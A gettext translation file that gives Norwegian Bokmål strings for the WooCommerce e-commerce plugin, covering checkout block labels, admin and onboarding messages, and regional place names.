msgid "Save up to $800 in fees by managing transactions with WooPayments. With WooPayments, you can securely accept major cards, Apple Pay, and payments in over 100 currencies."
msgstr "Spar opptil 800 dollar i gebyrer ved å administrere transaksjoner med WooPayments. Med WooPayments kan du på en sikker måte ta imot de vanligste kortene, Apple Pay og betalinger i over 100 valutaer."
#. translators: 1: opening product link tag. 2: closing link tag
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:242
msgid "Accept credit cards and other popular payment methods with %1$sWooPayments%2$s"
msgstr "Godta kredittkort og andre populære betalingsmåter med %1$sWooPayments%2$s"
#: src/Admin/API/Notes.php:465
msgid "Please provide a valid promo note name."
msgstr "Oppgi et gyldig kampanjenotatnavn."
#: includes/rest-api/Controllers/Version2/class-wc-rest-coupons-v2-controller.php:371
msgid "The status of the coupon. Should always be draft, published, or pending review"
msgstr "Status for rabattkoden. Skal alltid være utkast, publisert eller venter på gjennomgang"
#: src/Internal/Admin/WCPayPromotion/WCPaymentGatewayPreInstallWCPayPromotion.php:85
msgid "Dismiss the gateway"
msgstr "Avvis porten"
#: src/Admin/Features/OnboardingTasks/TaskList.php:281
msgid "Task is not a subclass of `Task`"
msgstr "Task er ikke en underklasse av `Task`"
#: includes/class-woocommerce.php:1254
msgid "You have installed a development version of WooCommerce which requires files to be built and minified. From the plugin directory, run <code>pnpm install</code> and then <code>pnpm --filter='@woocommerce/plugin-woocommerce' build</code> to build and minify assets."
msgstr "Du har installert en utviklingsversjon av WooCommerce som krever at filer bygges og minifiseres. Fra utvidelsesmappen, kjør <code>pnpm install</code> og deretter <code>pnpm --filter='@woocommerce/plugin-woocommerce' build</code> for å bygge og forminske tilbehør."
#: includes/admin/views/html-admin-page-status-report.php:475
msgid "The database version for WooCommerce. This should be the same as your WooCommerce version."
msgstr "Databaseversjonen for WooCommerce. Dette bør være det samme som din WooCommerce-versjon."
#: includes/admin/settings/class-wc-settings-general.php:241
msgid "Shop country/region"
msgstr "Butikkens land/region"
#. translators: %s: Context (e.g. 'featured', 'product-preview')
#: includes/admin/class-wc-admin-addons.php:364
msgid "Our request to the %s API got a malformed response."
msgstr "Forespørselen vår til %s-APIet fikk et feilaktig svar."
#. translators: 1: Context (e.g. 'featured', 'product-preview') 2: HTTP error
#. code
#: includes/admin/class-wc-admin-addons.php:344
msgid "Our request to the %1$s API got error code %2$d."
msgstr "Forespørselelen vår til %1$s-APIet fikk feilkoden %2$d."
#: includes/admin/class-wc-admin-addons.php:323
msgid "We encountered an SSL error. Please ensure your site supports TLS version 1.2 or above."
msgstr "Vi oppdaget en SSL-feil. Sørg for at nettstedet ditt støtter TLS versjon 1.2 eller nyere."
#: i18n/states.php:2206
msgid "La Guaira (Vargas)"
msgstr "La Guaira (Vargas)"
#: i18n/states.php:2181
msgid "Treinta y Tres"
msgstr "Treinta y Tres"
#: i18n/states.php:2180
msgid "Tacuarembó"
msgstr "Tacuarembó"
#: i18n/states.php:2179
msgid "Soriano"
msgstr "Soriano"
#: i18n/states.php:2177
msgid "Salto"
msgstr "Salto"
#: i18n/states.php:2176
msgid "Rocha"
msgstr "Rocha"
#: i18n/states.php:2175
msgid "Rivera"
msgstr "Rivera"
#: i18n/states.php:2173
msgid "Paysandú"
msgstr "Paysandú"
#: i18n/states.php:2172
msgid "Montevideo"
msgstr "Montevideo"
#: i18n/states.php:2171
msgid "Maldonado"
msgstr "Maldonado"
#: i18n/states.php:2170
msgid "Lavalleja"
msgstr "Lavalleja"
#: i18n/states.php:2168
msgid "Flores"
msgstr "Flores"
#: i18n/states.php:2167
msgid "Durazno"
msgstr "Durazno"
#: i18n/states.php:2166
msgid "Colonia"
msgstr "Colonia"
#: i18n/states.php:2165
msgid "Cerro Largo"
msgstr "Cerro Largo"
#: i18n/states.php:2164
msgid "Canelones"
msgstr "Canelones"
#: i18n/states.php:2163
msgid "Artigas"
msgstr "Artigas"
#: i18n/states.php:1703
msgid "Usulután"
msgstr "Usulután"
#: i18n/states.php:1702
msgid "La Unión"
msgstr "La Unión"
#: i18n/states.php:1701
msgid "San Vicente"
msgstr "San Vicente"
#: i18n/states.php:1700
msgid "San Salvador"
msgstr "San Salvador"
#: i18n/states.php:1699
msgid "Sonsonate"
msgstr "Sonsonate"
#: i18n/states.php:1698
msgid "San Miguel"
msgstr "San Miguel"
#: i18n/states.php:1697
msgid "Santa Ana"
msgstr "Santa Ana"
#: i18n/states.php:1695
msgid "Morazán"
msgstr "Morazán"
#: i18n/states.php:1693
msgid "Cuscatlán"
msgstr "Cuscatlán"
#: i18n/states.php:1692
msgid "Chalatenango"
msgstr "Chalatenango"
#: i18n/states.php:1691
msgid "Cabañas"
msgstr "Cabañas"
#: i18n/states.php:1690
msgid "Ahuachapán"
msgstr "Ahuachapán"
#: i18n/states.php:1478
msgid "Ngöbe-Buglé"
msgstr "Ngöbe-Buglé"
#: i18n/states.php:1477
msgid "Guna Yala"
msgstr "Guna Yala"
#: i18n/states.php:1476
msgid "Emberá"
msgstr "Emberá"
#: i18n/states.php:1475
msgid "West Panamá"
msgstr "West Panamá"
#: i18n/states.php:1474
msgid "Veraguas"
msgstr "Veraguas"
#: i18n/states.php:1473
msgid "Panamá"
msgstr "Panamá"
#: i18n/states.php:1472
msgid "Los Santos"
msgstr "Los Santos"
#: i18n/states.php:1471
msgid "Herrera"
msgstr "Herrera"
#: i18n/states.php:1470
msgid "Darién"
msgstr "Darién"
#: i18n/states.php:1469
msgid "Chiriquí"
msgstr "Chiriquí"
#: i18n/states.php:1467
msgid "Coclé"
msgstr "Coclé"
#: i18n/states.php:1466
msgid "Bocas del Toro"
msgstr "Bocas del Toro"
#: i18n/states.php:1445
msgid "Río San Juan"
msgstr "Río San Juan"
#: i18n/states.php:1444
msgid "Rivas"
msgstr "Rivas"
#: i18n/states.php:1443
msgid "Nueva Segovia"
msgstr "Nueva Segovia"
#: i18n/states.php:1442
msgid "Matagalpa"
msgstr "Matagalpa"
#: i18n/states.php:1441
msgid "Masaya"
msgstr "Masaya"
#: i18n/states.php:1440
msgid "Managua"
msgstr "Managua"
#: i18n/states.php:1439
msgid "Madriz"
msgstr "Madriz"
#: i18n/states.php:1437
msgid "Jinotega"
msgstr "Jinotega"
#: i18n/states.php:1435
msgid "Estelí"
msgstr "Estelí"
#: i18n/states.php:1434
msgid "Chontales"
msgstr "Chontales"
#: i18n/states.php:1433
msgid "Chinandega"
msgstr "Chinandega"
#: i18n/states.php:1432
msgid "Carazo"
msgstr "Carazo"
#: i18n/states.php:1431
msgid "Boaco"
msgstr "Boaco"
#: i18n/states.php:1430
msgid "Atlántico Sur"
msgstr "Atlántico Sur"
#: i18n/states.php:1429
msgid "Atlántico Norte"
msgstr "Atlántico Norte"
#: i18n/states.php:695
msgid "Yoro"
msgstr "Yoro"
#: i18n/states.php:693
msgid "Santa Bárbara"
msgstr "Santa Bárbara"
#: i18n/states.php:692
msgid "Olancho"
msgstr "Olancho"
#: i18n/states.php:691
msgid "Ocotepeque"
msgstr "Ocotepeque"
#: i18n/states.php:689
msgid "Lempira"
msgstr "Lempira"
#: i18n/states.php:688
msgid "Intibucá"
msgstr "Intibucá"
#: i18n/states.php:687
msgid "Gracias a Dios"
msgstr "Gracias a Dios"
#: i18n/states.php:686
msgid "Francisco Morazán"
msgstr "Francisco Morazán"
#: i18n/states.php:685
msgid "El Paraíso"
msgstr "El Paraíso"
#: i18n/states.php:684
msgid "Cortés"
msgstr "Cortés"
#: i18n/states.php:683
msgid "Copán"
msgstr "Copán"
#: i18n/states.php:682
msgid "Comayagua"
msgstr "Comayagua"
#: i18n/states.php:681 i18n/states.php:1468
msgid "Colón"
msgstr "Colón"
#: i18n/states.php:680
msgid "Choluteca"
msgstr "Choluteca"
#: i18n/states.php:679
msgid "Bay Islands"
msgstr "Bay Islands"
#: i18n/states.php:678
msgid "Atlántida"
msgstr "Atlántida"
#: i18n/states.php:524
msgid "Zamora-Chinchipe"
msgstr "Zamora-Chinchipe"
#: i18n/states.php:523
msgid "Tungurahua"
msgstr "Tungurahua"
#: i18n/states.php:522
msgid "Sucumbíos"
msgstr "Sucumbíos"
#: i18n/states.php:521
msgid "Santo Domingo de los Tsáchilas"
msgstr "Santo Domingo de los Tsáchilas"
#: i18n/states.php:520
msgid "Santa Elena"
msgstr "Santa Elena"
#: i18n/states.php:519
msgid "Pichincha"
msgstr "Pichincha"
#: i18n/states.php:518
msgid "Pastaza"
msgstr "Pastaza"
#: i18n/states.php:517
msgid "Orellana"
msgstr "Orellana"
#: i18n/states.php:516
msgid "Napo"
msgstr "Napo"
#: i18n/states.php:515
msgid "Morona-Santiago"
msgstr "Morona-Santiago"
#: i18n/states.php:514
msgid "Manabí"
msgstr "Manabí"
#: i18n/states.php:512
msgid "Loja"
msgstr "Loja"
#: i18n/states.php:511
msgid "Imbabura"
msgstr "Imbabura"
#: i18n/states.php:510
msgid "Guayas"
msgstr "Guayas"
#: i18n/states.php:509
msgid "Galápagos"
msgstr "Galápagos"
#: i18n/states.php:508
msgid "Esmeraldas"
msgstr "Esmeraldas"
#: i18n/states.php:507
msgid "El Oro"
msgstr "El Oro"
#: i18n/states.php:506
msgid "Cotopaxi"
msgstr "Cotopaxi"
#: i18n/states.php:505
msgid "Chimborazo"
msgstr "Chimborazo"
#: i18n/states.php:504
msgid "Carchi"
msgstr "Carchi"
#: i18n/states.php:503
msgid "Cañar"
msgstr "Cañar"
#: i18n/states.php:501
msgid "Azuay"
msgstr "Azuay"
#: i18n/states.php:447
msgid "Yuma"
msgstr "Yuma"
#: i18n/states.php:445
msgid "Valdesia"
msgstr "Valdesia"
#: i18n/states.php:432
msgid "Ozama"
msgstr "Ozama"
#: i18n/states.php:423
msgid "Higüamo"
msgstr "Higüamo"
#: i18n/states.php:419
msgid "Enriquillo"
msgstr "Enriquillo"
#: i18n/states.php:417
msgid "El Valle"
msgstr "El Valle"
#: i18n/states.php:413
msgid "Cibao Sur"
msgstr "Cibao Sur"
#: i18n/states.php:412
msgid "Cibao Norte"
msgstr "Cibao Norte"
#: i18n/states.php:411
msgid "Cibao Noroeste"
msgstr "Cibao Noroeste"
#: i18n/states.php:410
msgid "Cibao Nordeste"
msgstr "Cibao Nordeste"
#: i18n/states.php:383 i18n/states.php:2178
msgid "San José"
msgstr "San José"
#: i18n/states.php:382
msgid "Puntarenas"
msgstr "Puntarenas"
#: i18n/states.php:381
msgid "Limón"
msgstr "Limón"
#: i18n/states.php:380
msgid "Heredia"
msgstr "Heredia"
#: i18n/states.php:379
msgid "Guanacaste"
msgstr "Guanacaste"
#: i18n/states.php:378
msgid "Cartago"
msgstr "Cartago"
#: i18n/states.php:377
msgid "Alajuela"
msgstr "Alajuela"
#: i18n/states.php:374
msgid "Vichada"
msgstr "Vichada"
#: i18n/states.php:373
msgid "Vaupés"
msgstr "Vaupés"
#: i18n/states.php:372
msgid "Valle del Cauca"
msgstr "Valle del Cauca"
#: i18n/states.php:371
msgid "Tolima"
msgstr "Tolima"
#: i18n/states.php:369
msgid "San Andrés & Providencia"
msgstr "San Andrés & Providencia"
#: i18n/states.php:368
msgid "Santander"
msgstr "Santander"
#: i18n/states.php:367
msgid "Risaralda"
msgstr "Risaralda"
#: i18n/states.php:366
msgid "Quindío"
msgstr "Quindío"
#: i18n/states.php:365
msgid "Putumayo"
msgstr "Putumayo"
#: i18n/states.php:364
msgid "Norte de Santander"
msgstr "Norte de Santander"
#: i18n/states.php:363
msgid "Nariño"
msgstr "Nariño"
#: i18n/states.php:362
msgid "Meta"
msgstr "Meta"
#: i18n/states.php:361
msgid "Magdalena"
msgstr "Magdalena"
#: i18n/states.php:360
msgid "La Guajira"
msgstr "La Guajira"
#: i18n/states.php:359
msgid "Huila"
msgstr "Huila"
#: i18n/states.php:358
msgid "Guaviare"
msgstr "Guaviare"
#: i18n/states.php:357
msgid "Guainía"
msgstr "Guainía"
#: i18n/states.php:356
msgid "Capital District"
msgstr "Capital District"
#: i18n/states.php:355
msgid "Cundinamarca"
msgstr "Cundinamarca"
#: i18n/states.php:353
msgid "Chocó"
msgstr "Chocó"
#: i18n/states.php:352
msgid "Cesar"
msgstr "Cesar"
#: i18n/states.php:351
msgid "Cauca"
msgstr "Cauca"
#: i18n/states.php:350
msgid "Casanare"
msgstr "Casanare"
#: i18n/states.php:349
msgid "Caquetá"
msgstr "Caquetá"
#: i18n/states.php:348
msgid "Caldas"
msgstr "Caldas"
#: i18n/states.php:347
msgid "Boyacá"
msgstr "Boyacá"
#: i18n/states.php:345
msgid "Atlántico"
msgstr "Atlántico"
#: i18n/states.php:344
msgid "Arauca"
msgstr "Arauca"
#: i18n/states.php:343
msgid "Antioquia"
msgstr "Antioquia"
#: i18n/states.php:33
msgid "Vlorë"
msgstr "Vlorë"
#: i18n/states.php:32
msgid "Tirana"
msgstr "Tirana"
#: i18n/states.php:31
msgid "Shkodër"
msgstr "Shkodër"
#: i18n/states.php:30
msgid "Lezhë"
msgstr "Lezhë"
#: i18n/states.php:29
msgid "Kukës"
msgstr "Kukës"
#: i18n/states.php:28
msgid "Korçë"
msgstr "Korçë"
#: i18n/states.php:27
msgid "Gjirokastër"
msgstr "Gjirokastër"
#: i18n/states.php:26
msgid "Fier"
msgstr "Fier"
#: i18n/states.php:25
msgid "Elbasan"
msgstr "Elbasan"
#: i18n/states.php:24
msgid "Durrës"
msgstr "Durrës"
#: i18n/states.php:23
msgid "Dibër"
msgstr "Dibër"
#: i18n/states.php:22
msgid "Berat"
msgstr "Berat"
#: assets/client/blocks/inner-blocks/cart-accepted-payment-methods-block/block.json
msgctxt "block description"
msgid "Display accepted payment methods."
msgstr "Vis godkjente betalingsmåter."
#: assets/client/blocks/inner-blocks/cart-accepted-payment-methods-block/block.json
msgctxt "block title"
msgid "Accepted Payment Methods"
msgstr "Godkjente betalingsmåter"
#: src/Blocks/BlockTypes/MiniCartCheckoutButtonBlock.php:26
#: assets/client/blocks/mini-cart-contents-block/checkout-button-frontend.js:1
#: assets/client/blocks/mini-cart-contents-block/footer-frontend.js:1
#: assets/client/blocks/mini-cart-contents.js:13
msgid "Go to checkout"
msgstr "Gå til kassen"
#: src/Blocks/BlockTypes/MiniCartCartButtonBlock.php:26
#: assets/client/blocks/mini-cart-contents-block/cart-button-frontend.js:1
#: assets/client/blocks/mini-cart-contents-block/footer-frontend.js:1
#: assets/client/blocks/mini-cart-contents.js:13
msgid "View my cart"
msgstr "Vis handlekurv"
#: src/Blocks/BlockTypes/MiniCartFooterBlock.php:30
#: assets/client/blocks/mini-cart-contents-block/footer-frontend.js:1
#: assets/client/blocks/mini-cart-contents-block/footer-style.js:1
#: assets/client/blocks/mini-cart-contents.js:13
msgid "Shipping, taxes, and discounts calculated at checkout."
msgstr "Frakt, avgifter og rabatter beregnes i kassen."
#: templates/myaccount/form-login.php:99
msgid "A link to set a new password will be sent to your email address."
msgstr "En lenke for å angi et nytt passord vil bli sendt til e-postadressen din."
#: src/Blocks/Utils/BlockTemplateUtils.php:156
msgid "No theme is defined for this template."
msgstr "Det er ikke definert noe tema for denne malen."
#: src/Admin/API/OnboardingTasks.php:715
msgid "List of extended deprecated tasks from the client side filter."
msgstr "Liste over utvidede avviklede oppgaver fra filteret på klientsiden."
#: includes/emails/class-wc-email-customer-on-hold-order.php:52
msgid "This is an order notification sent to customers containing order details after an order is placed on-hold from Pending, Cancelled or Failed order status."
msgstr "Dette er et ordrevarsel med ordreinformasjon som sendes til kunder etter at en ordre er satt på vent fra en «Venter», «Kansellert» eller «Mislykket» ordrestatus."
#: includes/class-wc-comments.php:478 assets/client/blocks/product-reviews.js:2
msgid "Product Reviews"
msgstr "Produktomtaler"
#: includes/class-wc-ajax.php:2397
msgid "There was an error generating your API Key."
msgstr "Det oppsto en feil under generering av API-nøkkelen din."
#: includes/admin/views/html-admin-page-addons-category-nav.php:16
msgid "Browse categories"
msgstr "Bla gjennom kategorier"
#: i18n/states.php:305
msgid "Valparaíso"
msgstr "Valparaíso"
#: i18n/states.php:304
msgid "Tarapacá"
msgstr "Tarapacá"
#: i18n/states.php:303
msgid "Región Metropolitana de Santiago"
msgstr "Región Metropolitana de Santiago"
#: i18n/states.php:302
msgid "Ñuble"
msgstr "Ñuble"
#: i18n/states.php:301
msgid "Maule"
msgstr "Maule"
#: i18n/states.php:300
msgid "Magallanes"
msgstr "Magallanes"
#: i18n/states.php:299 i18n/states.php:513
msgid "Los Ríos"
msgstr "Los Ríos"
#: i18n/states.php:298
msgid "Los Lagos"
msgstr "Los Lagos"
#: i18n/states.php:297
msgid "Libertador General Bernardo O'Higgins"
msgstr "Libertador General Bernardo O'Higgins"
#: i18n/states.php:296
msgid "Coquimbo"
msgstr "Coquimbo"
#: i18n/states.php:295
msgid "Biobío"
msgstr "Biobío"
#: i18n/states.php:294
msgid "Atacama"
msgstr "Atacama"
#: i18n/states.php:293
msgid "La Araucanía"
msgstr "La Araucanía"
#: i18n/states.php:292
msgid "Arica y Parinacota"
msgstr "Arica y Parinacota"
#: i18n/states.php:291
msgid "Antofagasta"
msgstr "Antofagasta"
#: i18n/states.php:290
msgid "Aisén del General Carlos Ibañez del Campo"
msgstr "Aisén del General Carlos Ibañez del Campo"
#: assets/client/blocks/inner-blocks/checkout-totals-block/block.json
msgctxt "block description"
msgid "Column containing the checkout totals."
msgstr "Kolonne som inneholder kassetotaler."
#: assets/client/blocks/inner-blocks/checkout-totals-block/block.json
msgctxt "block title"
msgid "Checkout Totals"
msgstr "Kassetotaler"
#: assets/client/blocks/inner-blocks/checkout-terms-block/block.json
msgctxt "block description"
msgid "Ensure that customers agree to your Terms & Conditions and Privacy Policy."
msgstr "Sørg for at kunder godtar deres salgsbetingelser og personvernerklæring."
#: assets/client/blocks/inner-blocks/checkout-terms-block/block.json
msgctxt "block title"
msgid "Terms and Conditions"
msgstr "Salgsbetingelser"
#: assets/client/blocks/inner-blocks/checkout-shipping-methods-block/block.json
msgctxt "block title"
msgid "Shipping Options"
msgstr "Fraktalternativer"
#: assets/client/blocks/inner-blocks/checkout-shipping-address-block/block.json
msgctxt "block description"
msgid "Collect your customer's shipping address."
msgstr "Samle inn kundens leveringsadresse."
#: assets/client/blocks/inner-blocks/checkout-shipping-address-block/block.json
#: assets/client/blocks/order-confirmation-shipping-address/block.json
msgctxt "block title"
msgid "Shipping Address"
msgstr "Leveringsadresse"
#: assets/client/blocks/inner-blocks/checkout-payment-block/block.json
msgctxt "block description"
msgid "Payment options for your store."
msgstr "Betalingsalternativer for butikken din."
#: assets/client/blocks/inner-blocks/checkout-payment-block/block.json
msgctxt "block title"
msgid "Payment Options"
msgstr "Betalingsalternativer"
#: assets/client/blocks/inner-blocks/checkout-order-note-block/block.json
msgctxt "block description"
msgid "Allow customers to add a note to their order."
msgstr "Tillat kunder å legge til et notat til ordren sin."
#: assets/client/blocks/inner-blocks/checkout-order-note-block/block.json
msgctxt "block title"
msgid "Order Note"
msgstr "Ordrenotat"
#: assets/client/blocks/inner-blocks/checkout-fields-block/block.json
msgctxt "block description"
msgid "Column containing checkout address fields."
msgstr "Kolonne som inneholder adressefelt."
#: assets/client/blocks/inner-blocks/checkout-fields-block/block.json
msgctxt "block title"
msgid "Checkout Fields"
msgstr "Kasse felter"
#: assets/client/blocks/inner-blocks/checkout-contact-information-block/block.json
msgctxt "block description"
msgid "Collect your customer's contact information."
msgstr "Samle inn kundens kontaktinformasjon."
#: assets/client/blocks/inner-blocks/checkout-contact-information-block/block.json
msgctxt "block title"
msgid "Contact Information"
msgstr "Kontaktinformasjon"
#: assets/client/blocks/inner-blocks/checkout-billing-address-block/block.json
msgctxt "block description"
msgid "Collect your customer's billing address."
msgstr "Samle inn kundens fakturaadresse."
#: assets/client/blocks/inner-blocks/checkout-billing-address-block/block.json
#: assets/client/blocks/order-confirmation-billing-address/block.json
msgctxt "block title"
msgid "Billing Address"
msgstr "Fakturaadresse"
#: assets/client/blocks/inner-blocks/checkout-actions-block/block.json
msgctxt "block description"
msgid "Allow customers to place their order."
msgstr "Tillat kunder å legge inn ordren sin."
#: assets/client/blocks/inner-blocks/checkout-actions-block/block.json
msgctxt "block title"
msgid "Actions"
msgstr "Handlinger"
#: assets/client/blocks/inner-blocks/proceed-to-checkout-block/block.json
msgctxt "block description"
msgid "Allow customers proceed to Checkout."
msgstr "Tillat kunder å gå videre til kassen."
#: assets/client/blocks/inner-blocks/proceed-to-checkout-block/block.json
msgctxt "block title"
msgid "Proceed to Checkout"
msgstr "Fortsett til kassen"
#: assets/client/blocks/inner-blocks/filled-cart-block/block.json
msgctxt "block description"
msgid "Contains blocks that are displayed when the cart contains products."
msgstr "Inneholder blokker som vises når handlekurven inneholder produkter."
#: assets/client/blocks/inner-blocks/filled-cart-block/block.json
msgctxt "block title"
msgid "Filled Cart"
msgstr "Fylt handlekurv"
#: assets/client/blocks/inner-blocks/empty-cart-block/block.json
msgctxt "block description"
msgid "Contains blocks that are displayed when the cart is empty."
msgstr "Inneholder blokker som vises når handlekurven er tom."
#: assets/client/blocks/inner-blocks/empty-cart-block/block.json
msgctxt "block title"
msgid "Empty Cart"
msgstr "Tom handlekurv"
#: assets/client/blocks/inner-blocks/cart-totals-block/block.json
msgctxt "block description"
msgid "Column containing the cart totals."
msgstr "Kolonne som inneholder totalsum for handlekurv."
#: assets/client/blocks/inner-blocks/cart-totals-block/block.json
msgctxt "block title"
msgid "Cart Totals"
msgstr "Totalsum for handlekurv"
#: assets/client/blocks/inner-blocks/cart-order-summary-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-block/block.json
msgctxt "block description"
msgid "Show customers a summary of their order."
msgstr "Vis kunder et sammendrag av ordren sine."
#: assets/client/blocks/inner-blocks/cart-order-summary-block/block.json
#: assets/client/blocks/inner-blocks/checkout-order-summary-block/block.json
#: assets/client/blocks/order-confirmation-summary/block.json
msgctxt "block title"
msgid "Order Summary"
msgstr "Ordresammendrag"
#: assets/client/blocks/inner-blocks/cart-line-items-block/block.json
msgctxt "block description"
msgid "Block containing current line items in Cart."
msgstr "Blokk som inneholder gjeldende ordrelinjer i handlekurven."
#: assets/client/blocks/inner-blocks/cart-line-items-block/block.json
msgctxt "block title"
msgid "Cart Line Items"
msgstr "Produktlinjer i handlekurven"
#: assets/client/blocks/inner-blocks/cart-items-block/block.json
msgctxt "block description"
msgid "Column containing cart items."
msgstr "Kolonne som inneholder produkter i handlekurven."
#: assets/client/blocks/inner-blocks/cart-express-payment-block/block.json
#: assets/client/blocks/inner-blocks/checkout-express-payment-block/block.json
msgctxt "block title"
msgid "Express Checkout"
msgstr "Hurtigkasse"
#: src/Blocks/BlockTypes/MiniCartTitleLabelBlock.php:41
#: assets/client/blocks/mini-cart-contents-block/title-frontend.js:2
#: assets/client/blocks/mini-cart-contents-block/title-label-frontend.js:1
#: assets/client/blocks/mini-cart-contents.js:3
msgid "Your cart"
msgstr "Din handlekurv"
#: src/StoreApi/Utilities/OrderController.php:666
#: assets/client/blocks/cart.js:2 assets/client/blocks/checkout.js:2
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:37
msgid "Sorry, this order requires a shipping option."
msgstr "Beklager, denne ordren krever et fraktvalg."
#: src/StoreApi/Schemas/V1/ProductSchema.php:350
msgid "If this is a default attribute"
msgstr "Om dette er et standardattributt"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:135
msgid "Reach more shoppers and drive sales for your store. Integrate with Google to list your products for free and launch paid ad campaigns."
msgstr "Nå ut til flere kunder og øk salget for butikken din. Integrer med Google for å liste opp produktene dine gratis og lanser betalte annonsekampanjer."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:206
msgid "The Eway extension for WooCommerce allows you to take credit card payments directly on your store without redirecting your customers to a third party site to make payment."
msgstr "EWAY-utvidelsen for WooCommerce gjør at du kan ta kredittkortbetalinger direkte i butikken uten å omdirigere kundene dine til et tredjeparts nettsted for å foreta betaling."
#: src/Admin/Features/PaymentGatewaySuggestions/DefaultPaymentGateways.php:205
#: src/Internal/Admin/Suggestions/PaymentsExtensionSuggestions.php:4104
msgid "Eway"
msgstr "Eway"
#: src/Admin/Features/OnboardingTasks/TaskLists.php:266
msgid "Task list ID does not exist"
msgstr "Oppgaveliste-ID finnes ikke"
#: src/Admin/Features/OnboardingTasks/TaskLists.php:246
msgid "Task list ID already exists"
msgstr "Oppgaveliste-ID finnes allerede"
#: src/Admin/API/OnboardingTasks.php:917 src/Admin/API/OnboardingTasks.php:944
msgid "Sorry, that task list was not found"
msgstr "Beklager, den oppgavelisten ble ikke funnet"
#: src/Admin/API/OnboardingTasks.php:290
msgid "Sorry, you are not allowed to hide task lists."
msgstr "Beklager, du har ikke lov til å skjule oppgavelister."
#: includes/rest-api/Controllers/Telemetry/class-wc-rest-telemetry-controller.php:158
msgid "Platform version to track."
msgstr "Plattformversjon å spore."
#: includes/rest-api/Controllers/Telemetry/class-wc-rest-telemetry-controller.php:151
msgid "Platform to track."
msgstr "Plattform å spore."
#: includes/rest-api/Controllers/Telemetry/class-wc-rest-telemetry-controller.php:62
msgid "Sorry, you post telemetry data."
msgstr "Beklager, du legger ut telemetridata."
#: src/Blocks/Templates/MiniCartTemplate.php:59
msgid "Mini-Cart"
msgstr "Mini handlekurv"
#: src/StoreApi/Schemas/V1/ProductCollectionDataSchema.php:99
msgid "Returns number of products with each stock status."
msgstr "Returnerer antall produkter med hver lagerstatus."
#: src/StoreApi/Routes/V1/ProductCollectionData.php:205
msgid "If true, calculates stock counts for products in the collection."
msgstr "Hvis sant, beregnes lagerantall for produkter i samlingen."
#: src/Admin/API/OnboardingTasks.php:979
msgid "Sorry, no task with that ID was found."
msgstr "Beklager, ingen oppgave med den ID-en ble funnet."
#: src/Admin/API/OnboardingTasks.php:854 src/Admin/API/OnboardingTasks.php:892
msgid "Sorry, no snoozeable task with that ID was found."
msgstr "Beklager, ingen oppgave som kan pauses med den ID-en ble funnet."
#: src/Admin/API/OnboardingTasks.php:777 src/Admin/API/OnboardingTasks.php:811
msgid "Sorry, no dismissable task with that ID was found."
msgstr "Beklager, ingen avvisbar oppgave med den ID-en ble funnet."
#: src/Admin/API/OnboardingTasks.php:308
msgid "Sorry, you are not allowed to snooze onboarding tasks."
msgstr "Beklager, du har ikke lov til å sette onboarding-oppgaver på pause."
#: src/Admin/API/OnboardingTasks.php:276
msgid "Sorry, you are not allowed to retrieve onboarding tasks."
msgstr "Beklager, du har ikke lov til å hente tilbake onboarding oppgaver."
#: src/Admin/API/OnboardingTasks.php:200
msgid "Optional parameter to query specific task list."
msgstr "Valgfri parameter for å spørre spesifikk oppgaveliste."
#: src/Admin/API/OnboardingTasks.php:193
msgid "Time period to snooze the task."
msgstr "Tidsperiode for å sette aktiviteten på pause."
#: src/Admin/API/OnboardingProfile.php:481
msgid "Store email address."
msgstr "Lagre e-postadresse."
#: src/Admin/API/OnboardingProfile.php:474
msgid "Whether or not this store agreed to receiving marketing contents from WooCommerce.com."
msgstr "Hvorvidt denne butikken ble enig om å motta markedsføringsinnhold fra WooCommerce.com eller ikke."
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:620
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:194
msgid "Whether to consider GMT post dates when limiting response by published or modified date."
msgstr "Om GMT-innleggsdatoer skal vurderes ved begrensning av svar etter publisert eller endret dato."
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:614
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:188
msgid "Limit response to resources modified before a given ISO8601 compliant date."
msgstr "Begrens svar på ressurser som er opprettet før en gitt ISO8601-kompatibel dato."
#: includes/rest-api/Controllers/Version3/class-wc-rest-crud-controller.php:608
#: src/RestApi/Routes/V4/Orders/CollectionQuery.php:182
msgid "Limit response to resources modified after a given ISO8601 compliant date."
msgstr "Begrens svar på ressurser som er opprettet etter en gitt ISO8601-kompatibel dato."
#: includes/class-wc-post-types.php:353
msgid "This is where you can browse products in this store."
msgstr "Det er her du kan bla gjennom produkter i denne butikken."
#: includes/admin/class-wc-admin-assets.php:567
msgid "Are you sure you want to remove the selected shipping?"
msgstr "Er du sikker på at du vil slette den valgte frakten?"
#: includes/admin/class-wc-admin-assets.php:566
msgid "Are you sure you want to remove the selected fees?"
msgstr "Er du sikker på at du vil slette de valgte gebyrene?"
#: src/Admin/Features/OnboardingTasks/Tasks/Marketing.php:69
msgid "Add recommended marketing tools to reach new customers and grow your business"
msgstr "Legg til anbefalte markedsføringsverktøy for å nå nye kunder og vokse virksomheten din"
#: src/Blocks/Utils/CartCheckoutUtils.php:415
msgid "Locations outside all other zones"
msgstr "Steder utenfor alle andre soner"
#: src/Blocks/Utils/CartCheckoutUtils.php:414
msgid "International"
msgstr "Internasjonal"
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:58
msgid "Reach out to customers"
msgstr "Nå ut til kunder"
#. translators: 1: opening product link tag. 2: closing link tag
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:376
msgid "Enhance speed and security with %1$sJetpack%2$s"
msgstr "Forbedre hastighet og sikkerhet med %1$sJetpack%2$s"
#. translators: 1: opening product link tag. 2: closing link tag
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:362
msgid "Get automated sales tax with %1$sWooCommerce Tax%2$s"
msgstr "Få automatisert merverdiavgift med %1$sWooCommerce Tax%2$s"
#. translators: 1: opening product link tag. 2: closing link tag
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:302
msgid "Print shipping labels with %1$sWooCommerce Shipping%2$s"
msgstr "Skriv ut fraktetiketter med %1$sWooCommerce Shipping%2$s"
#: includes/class-wc-countries.php:1627
msgid "ZIP Code"
msgstr "Postnummer"
